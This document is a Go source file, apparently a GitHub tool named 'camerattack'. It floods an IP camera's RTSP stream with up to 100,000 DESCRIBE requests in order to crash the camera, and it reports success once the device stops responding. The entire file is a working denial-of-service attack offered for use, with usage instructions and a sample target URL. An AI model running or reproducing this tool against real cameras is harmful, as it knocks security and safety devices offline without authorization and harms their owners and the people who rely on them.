-
Notifications
You must be signed in to change notification settings - Fork 48
/
main.go
107 lines (93 loc) · 2.82 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
package main
import (
"fmt"
"os"
"strconv"
"strings"
"time"
curl "github.com/andelf/go-curl"
"github.com/fatih/color"
"github.com/gernest/wow"
"github.com/gernest/wow/spin"
)
const threads = 8
// HACK: See https://stackoverflow.com/questions/3572397/lib-curl-in-c-disable-printing
func doNotWrite([]uint8, interface{}) bool {
return true
}
func rtspDescribe(w *wow.Wow, target string, count int64) {
easy := curl.EasyInit()
defer easy.Cleanup()
if easy != nil {
// Do not send a body in the describe request
easy.Setopt(curl.OPT_NOBODY, 1)
// Do not write sdp in stdout
easy.Setopt(curl.OPT_WRITEFUNCTION, doNotWrite)
// Send a request to the URL of the stream we want to attack
easy.Setopt(curl.OPT_URL, target)
// Set the RTSP STREAM URI as the stream URL
easy.Setopt(curl.OPT_RTSP_STREAM_URI, target)
// 2 is CURL_RTSPREQ_DESCRIBE
easy.Setopt(curl.OPT_RTSP_REQUEST, 2)
err := easy.Perform()
if err != nil {
if strings.Contains(err.Error(), "Couldn't connect to server") {
red := color.New(color.FgRed, color.Bold).SprintFunc()
clearOutput(w)
fmt.Printf("%s Can't access stream %s\n", red("\xE2\x9C\x94"), target)
os.Exit(1)
}
green := color.New(color.FgGreen, color.Bold).SprintFunc()
clearOutput(w)
fmt.Printf("%s After %d tries, the camera seems to have crashed.\n", green("\xE2\x9C\x94"), count)
os.Exit(0)
}
}
}
func main() {
red := color.New(color.FgRed, color.Bold).SprintFunc()
err := curl.GlobalInit(curl.GLOBAL_ALL)
if err != nil {
fmt.Printf(
"%s curl initialization failed: %v\n",
red("\xE2\x9C\x96"),
err,
)
os.Exit(1)
}
args := os.Args[1:]
if len(args) == 0 {
fmt.Printf("usage: camerattack [RTSP URL]\n\texample: `./camerattack rtsp://admin:[email protected]:554/live.sdp`\n")
os.Exit(1)
}
w := startSpinner()
for count := int64(0); count < 100000; count = count + threads {
updateSpinner(w, "[Attempt #"+strconv.FormatInt(count, 10)+" to #"+strconv.FormatInt(count+8, 10)+"] Attacking RTSP stream...")
for thread := count; thread < count+threads; thread++ {
rtspDescribe(w, args[0], thread)
}
}
clearOutput(w)
fmt.Printf("%s %s\n%s\n%s%s",
red("\xE2\x9C\x96"),
"Could not crash camera after 100000 attempts.",
"You can try to run the program again but it's unlikely that this camera can be remotely shut down.",
"The reason can be that the network speed and stability between you and the camera is not good enough",
"to send requests to the camera quick enough.",
)
}
func updateSpinner(w *wow.Wow, text string) {
w.Text(" " + text)
}
func startSpinner() *wow.Wow {
w := wow.New(os.Stdout, spin.Get(spin.Dots), " Starting up...")
w.Start()
return w
}
// HACK: Waiting for a fix to issue
// https://github.com/gernest/wow/issues/5
func clearOutput(w *wow.Wow) {
w.Text("\b")
time.Sleep(80 * time.Millisecond)
w.Stop()
}